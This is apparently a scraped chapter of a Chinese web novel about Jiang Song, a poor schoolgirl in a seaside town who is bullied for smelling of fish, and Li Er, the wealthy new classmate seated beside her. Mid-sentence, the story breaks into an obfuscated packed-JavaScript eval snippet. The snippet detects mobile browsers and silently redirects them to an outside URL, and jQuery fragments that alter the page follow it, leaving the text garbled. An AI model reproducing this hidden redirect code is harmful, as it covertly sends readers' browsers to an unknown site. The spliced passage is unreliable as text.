我很留恋堂皇世界，也有新的天梯载我向上爬，成年人世界没童话，好聚好散如此便罢。（《真相是假》）


    2024.11.7


    ——————


    榕城是一座海边小城，冬天有雪，夏天不热，一年四季的风都是咸湿的。


    2007年，手机像素并不高清，互联网也不发达，这座小城的旅游业还没开发，沙滩上没有成群的旅客，只有白花花的海浪和正要出海的渔船。


    暑假刚结束，燥热的风吹动一颗颗躁动的心，在五十平不到的教室里蠢蠢欲动。


    江颂踩着上课铃声跑进教室，大喘着气，额上的汗往下坠，一张白净的脸热的发红，刘海被风吹的乱。


    她跑到座位上提起板凳往后拉，再轻轻放下，没发出一点声音，但所有人都在看她。


    那些光明正大的，偷摸打量的，同情的，嘲笑的，不怀好意的眼神，都向着她。


    “哎，她里面那件米色的短袖都快洗成白的了。”


    “好腥啊，她每天都跟鱼睡在一起吗？”


    “她好像真的卖了一暑假的鱼，我妈每次去买菜回来都说又在菜场看见她了。”


    “窗户打开啊，臭死了，她能不能换个班啊。”


    “你瞎了啊，窗户都开到最大了。”


    “哎呀你们少说两句吧，她也挺可怜的。”


    “我才可怜呢，每天都要闻鱼腥臭。”


    这些声音悉数落在江颂耳朵里，她听的一清二楚，却不显露一丝情绪，只是安静地坐下，放书包，拿书，然后从校服口袋里拿出一包纸巾，微微低头，擦去脸上的汗，将凌乱的刘海整理好，挡在额前，有些遮眼。


    擦完汗的纸巾被她攥进手心里，握成拳头的手放到大腿上，掩盖在书包下，抑制不住地抖。


    没事的。


    没有味道的。


    这件衣服洗了很多遍了。


    是洗衣粉的香味。


    没有腥味的。


    铃声响完，班主任老徐一手拿着玻璃杯一手拿着书走上讲台，书往桌上一砸，砰的一声，讨论声和窃窃私语声被震住。


    “吵什么吵！一个个还以为自己是高一呢！我在办公室就听见你们吵了！教室弄的跟菜市场一样！”


    底下有人小声接话：“可不就是菜市场吗，卖鱼的都有。”


    周围人被逗的扑哧笑出声。


    “那几个笑什么呢！你们笑的很好看吗！要不要上来笑给大家看！”


    底下人彻底噤了声。


    老徐打开玻璃杯喝口水，眼神在教室里扫视了一圈，然后对着教室门口招了招手。


    外面走进来一人，书包提在手上，黑衣黑裤，很高，挺拔，皮肤白，碎发遮住眉，很欧式的骨相，鼻梁高挺，气质出众，不像同龄人，却又说不出这不像到底在哪里。


    等他转过身面向全班，才知道那不像是从何而来。


    那双眼。


    波澜不惊的一双眼，沉静疏离的气场都来自那双眼，深棕色的眼瞳，目光冷冽，有压迫感，看起来不好惹。


    可这样深邃又冷漠的眼睛，染上笑意时却深情又迷人。


    多少一中少女溺死在这双眼里。


    “这是我们班的新同学，大家掌声欢迎。”


    热烈的掌声中夹着女生的议论声，讨论的字语无非是“好帅”“好高”“好想认识”之类的。


    模样好看的人，天生就有让人想去认识了解的能力。


    掌声雷响一般，始终没停，老徐手在讲台上用力叩了两下。


    “差不多行啦，女生们把口水收收。来，自我介绍一下。”


    老徐往旁边站了两步，把中心位让给他。


    少年走到讲台正中间，“我叫李迩，闻名遐迩的迩。”


    声线偏冷，和他这个人一样，但又带着这个年纪该有的少年感，语速不快不慢，有些漫不经心的懒意，还带着浅浅的倦意，让人无端联想到冬天落雪的海面，海浪打出白沫往岸边卷，将沙滩上的碎雪和薄冰碾碎个彻底。


    江颂这时才抬起头，望向讲台上的人。


    有些人，你见到他的第一眼就知道，自己和他不是一个世界的人，即使身处同一空间，即使同样在这间教室里，却始终是两个世界。


    只一眼，江颂就低下了头。


    只是一个，与她无关的人。


    老徐在班级里看了一周，最后视线锁在最后一排靠窗的位置。


    “你坐江颂旁边，靠窗那个。”


    所有人都回头看，议论声又出来了。


    江颂再度抬起头，看了李迩第二眼。


    她脑袋放空了两秒，然后想想，也是，全班，只有她旁边有空位。


    一中有高中部也有初中部，班级里大多数都是本部升上来的，江颂也是。自初二以来，她就是单人单座，因为所有人都嫌弃她身上的鱼腥味。


    李迩的到来意味什么？


    意味着，孤单三年的她，终于要有同桌了。


    在她发愣的间隙里，李迩已经走过来了。


    她抬起头对他看，刘海遮住了半双眼。


    李迩冲她点头，唇角微微上扬：“你好。”


    江颂眼神不自在地闪躲了一下，看向他的肩膀。


    她想，她应该回一句你好的，这是最基本的礼貌，但她说不出口，因为班上几十双眼睛都在盯着这里，她不敢说，害怕这又会成为她们嘲笑的话柄。


    所以她只是轻轻点了点头，然后僵硬地低下头去，假装打开书包拿书，不去看旁人的视线。


    可她忘了，她们嘲笑她，是不分理由的。


    甚至，不需要理由。


    就像她们的霸凌一样，甚至没有人觉得，她们在霸凌她。


    靠近走廊的那一组传来声音，“真没礼貌，别人跟她说你好她都不会回的吗。”


    “……”


    李迩并没有把江颂的反应放在心上，他坐下后若有所思地看向窗户。


    江颂在余光里看见他将头转向自己这边，变得更紧张了。


    她害怕目光，害怕被人打量。


    那一整节课她都是紧绷着神经上完的，因为李迩有百分之八十的时间都在看着窗外。


    老师宣布下课的那一瞬间，她忽然松了口气，结果心又因为旁边人突然的开口而七上八下。


    “老师说你叫江song，什么song？”


    江颂低垂着头，小声说：“一个公…加一个页…”


    少年听了她的回答轻声笑了一下，但那笑声里绝然没有嘲笑意味，“歌颂的颂啊。”


    江颂抿着唇，没说话。


    “我叫李迩，一个尔，加一个走之底。”


    又是很小的一声，“我知道。”


    “江颂，我能跟你商量个事儿吗？我喜欢发呆，能不能跟你换个位置，我想挨着窗户坐。”


    江颂几乎是没有经过思考地，直接同意了。


    她把书往书包里塞，把所有东西都胡乱地往里塞，可桌子上还有一大摞，根本塞不下。


    李迩看见她的动作又笑了一下，“我帮你吧。”


    他个子高，力气也大，江颂站起来只到他肩膀，她把椅子往后挪，给他腾出搬书的空间，然后那摞书就被他不费吹灰之力地搬起来了。


    班上的人不明真相，都伸着脖子往这看。


    江颂不知道那两分钟是怎么过的，她浑身都在发毛，始终低头看着脚尖。


    直到李迩提醒她：“好了，你坐吧。”


    之后的一整天，李迩都没再说过话，也不听课，除了看向窗外，就是趴在桌子上睡觉，老师们也像商量好的一样，没有一个人管他。


    李迩睡觉时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738348|157413||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，江颂微微侧头看向窗外。


    她不知道李迩在看什么，也不知道，有什么好看的。


    教室在四楼，透过窗户，能看见半边操场，绿色的草坪，红色的跑道，往外，是车流不息的街和老旧的商铺，再往外，是海。


    蔚蓝的海水泛着粼粼波光，与遥远天色相连，阳光照耀下像笼了层薄纱，有些飘渺，海面上有渔船沉浮，一只只渔船在广阔的海里显得渺小，望在眼里，就是一个个小黑点。


    江颂看了很久，直到眼睛发涩，才缓缓偏过头。


    她讨厌海。


    ———


    江颂不住校，因为一年要五百的住宿费，她家交得起，但不愿意给她交。


    她每天骑自行车上下学，那车还是她爷爷曾经骑的，是老式的二八大杠，她只有一米六五，人长得瘦，骑起来十分费劲，且车的岁数大了，三天两头的坏，她早上迟到就是因为半路停下来修链条。


    赶上放学高峰期，路上挤满了人，九月初的天还闷的慌，热的汗顺着前胸后背淌，湿了一整片衣裳。


    江颂从人群里挤到车棚底下，蹲下去解车轮上的锁，然后又推着车，顺着人流往外走。


    周围有许多偷看她的人，也不乏偷笑的声音，她装作没听到，强迫自己不去在意。


    到了校门口，空间宽敞了，她抬腿蹬上自行车，车子实在是高，她坐在车座上，脚尖只能勉强碰到地面，模样十分滑稽，要想脚掌着地，还得整个人往一边侧，但那样起步又会很费力。


    江颂好不容易骑上去，往前蹬了两下，身后忽然传来铃铛声，来人一阵风一样咻地一下掠过她，骑的是捷安特的最新款，一边骑一边回头对她喊：“江颂！蹬起来啊！要摔喽！”


    这人叫张啸翔，是班里的刺头，他家里开酒楼，在榕城算有钱了，在学校收了几个小弟就真把自己当大哥了，没事就爱干些违反校规的事儿，比如上课看学生禁止观看的漫画，比如偷偷在厕所里吸烟，比如欺负弱小的同学。


    江颂就是那个同学。


    张啸翔喊完话就又跟一阵风一样飞走了。


    江颂目光直视着前方的道路，不去理会身后的种种。


    她也希望自己像风一样，快些，再快些，这样别人就看不见她，也抓不住她。


    风才有自由。


    路过学校旁的公交车站时，她看见李迩站在不远处的路边，他这会儿把书包背在肩上了，但也只背了一半，另一半松松垮垮地落在那，一副吊儿郎当的模样，一只手插兜里，另一只手在摆弄着手机。


    他有手机。


    一辆黑色轿车路过江颂慢慢滑过去，倒车镜上的灯开始闪，车停在他面前。


    那辆车的车标是蓝白的，上面还有“B”“M”“W”三个字母，身穿黑色西服的司机从驾驶座上下来，替他拿过书包，又为他打开车门，毕恭毕敬地等待他上车后才回到驾驶座，关门的动静都称得上小心，车子逐渐加速驶离。


    在那一年，在那座小城，汽车并不普及，对普通人家来说，有辆轿车是件奢侈的事，江颂家里没车，周围亲戚邻居也没有，李迩家有，并且，比起汽车这件“奢侈品”，他家还有更奢侈的———汽车司机。


    江颂不认识车，但看样子也猜得出，那辆车不便宜。


    真气人，她连幻想拥有一辆新的自行车的权利都没有，她的同桌却能拥有一个专属司机；她狼狈地骑着一辆不适合自己身材的自行车时，她的同桌却能坐在轿车后座上悠然地玩着手机。


    没事的，她想。


    那辆轿车看起来就密不透风，天气这么热，坐轿车还不如骑自行车凉快，至少骑车时，风都迎面吹过来，不会闷。


    真可怜。


    她没坐过汽车，甚至不知道，车上是有车载空调的。


    人各有命，只是有些人，未免太命好了些。